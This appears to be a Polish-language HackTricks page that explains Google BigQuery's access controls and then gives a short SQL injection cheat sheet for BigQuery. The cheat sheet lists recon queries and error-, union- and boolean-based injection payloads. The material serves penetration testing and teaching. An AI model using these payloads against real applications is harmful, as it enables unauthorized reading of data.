GCP - Bigquery Enum
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Google Cloud BigQuery to w pełni zarządzany, bezserwerowy magazyn danych dla przedsiębiorstw, oferujący możliwości analizy petabajtów danych, co pozwala na efektywne zarządzanie dużymi zbiorami danych. Jako Platforma jako Usługa (PaaS) zapewnia użytkownikom infrastrukturę i narzędzia do ułatwienia zarządzania danymi bez potrzeby ręcznego nadzoru.
Obsługuje zapytania przy użyciu ANSI SQL. Główne obiekty to zbiory danych zawierające tabele zawierające dane SQL.
Domyślnie używany jest klucz szyfrowania zarządzany przez Google, chociaż możliwe jest skonfigurowanie klucza szyfrowania zarządzanego przez klienta (CMEK). Możliwe jest wskazanie klucza szyfrowania dla każdego zbioru danych i dla każdej tabeli w obrębie zbioru danych.
Możliwe jest wskazanie czasu wygaśnięcia w zbiorze danych, dzięki czemu każda nowa tabela utworzona w tym zbiorze danych zostanie automatycznie usunięta po określonej liczbie dni od utworzenia.
BigQuery jest głęboko zintegrowany z innymi usługami Google. Możliwe jest ładowanie danych z bucketów, pub/sub, google drive, baz danych RDS...
Gdy zbiór danych jest tworzony, dołączane są ACL, aby przyznać do niego dostęp. Domyślnie przyznawane są uprawnienia Właściciela dla użytkownika, który utworzył zbiór danych, a następnie Właściciela dla grupy projectOwners (Właściciele projektu), Pisarza dla grupy projectWriters oraz Czytelnika dla grupy projectReaders:
Możliwe jest kontrolowanie wierszy, do których dany podmiot będzie miał dostęp w tabeli za pomocą polityk dostępu do wierszy. Są one definiowane wewnątrz tabeli za pomocą DDL. Polityka dostępu definiuje filtr, a tylko pasujące wiersze z tym filtrem będą dostępne dla wskazanych podmiotów.
Aby ograniczyć dostęp do danych na poziomie kolumny:
Zdefiniuj taksonomię i tagi polityki. Utwórz i zarządzaj taksonomią oraz tagami polityki dla swoich danych. https://console.cloud.google.com/bigquery/policy-tags
Opcjonalnie: Przyznaj rolę Data Catalog Fine-Grained Reader jednemu lub więcej podmiotom dla jednego lub więcej tagów polityki, które utworzyłeś.
Przypisz tagi polityki do swoich kolumn BigQuery. W BigQuery użyj adnotacji schematu, aby przypisać tag polityki do każdej kolumny, w której chcesz ograniczyć dostęp.
Wymuś kontrolę dostępu na taksonomii. Wymuszenie kontroli dostępu powoduje zastosowanie ograniczeń dostępu zdefiniowanych dla wszystkich tagów polityki w taksonomii.
Zarządzaj dostępem do tagów polityki. Użyj Identity and Access Management (IAM) polityk, aby ograniczyć dostęp do każdego tagu polityki. Polityka obowiązuje dla każdej kolumny, która należy do tagu polityki.
Gdy użytkownik próbuje uzyskać dostęp do danych kolumny w czasie zapytania, BigQuery sprawdza tag polityki kolumny i jego politykę, aby zobaczyć, czy użytkownik jest uprawniony do uzyskania dostępu do danych.
Podsumowując, aby ograniczyć dostęp do niektórych kolumn dla niektórych użytkowników, możesz dodać tag do kolumny w schemacie i ograniczyć dostęp użytkowników do tagu, wymuszając kontrolę dostępu na taksonomii tagu.
Aby wymusić kontrolę dostępu na taksonomii, należy włączyć usługę:
Można zobaczyć tagi kolumn za pomocą:
Aby uzyskać więcej informacji, możesz sprawdzić wpis na blogu: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Tutaj podane zostaną tylko niektóre szczegóły.
Komentarze:
select 1#from here it is not working
select 1/*between those it is not working*/
Ale tylko ten początkowy nie zadziała
select 1--from here it is not working
Uzyskaj informacje o środowisku, takie jak:
Bieżący użytkownik: select session_user()
Id projektu: select @@project_id
Klej wiersze:
Wszystkie nazwy tabel: string_agg(table_name, ', ')
Uzyskaj zbiory danych, tabele i nazwy kolumn:
Nazwa projektu i zbioru danych:
Nazwy kolumn i tabel wszystkich tabel zestawu danych:
Inne zbiory danych w tym samym projekcie:
Typy SQL Injection:
Oparte na błędach - rzutowanie: select CAST(@@project_id AS INT64)
Oparte na błędach - dzielenie przez zero: ' OR if(1/(length((select('a')))-1)=1,true,false) OR '
Oparte na unii (musisz użyć ALL w bigquery): UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
Oparte na boolowskich: ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
Potencjalne oparte na czasie - Przykład użycia publicznych zbiorów danych: SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000
Dokumentacja:
Lista wszystkich funkcji: https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators
Instrukcje skryptowe: https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)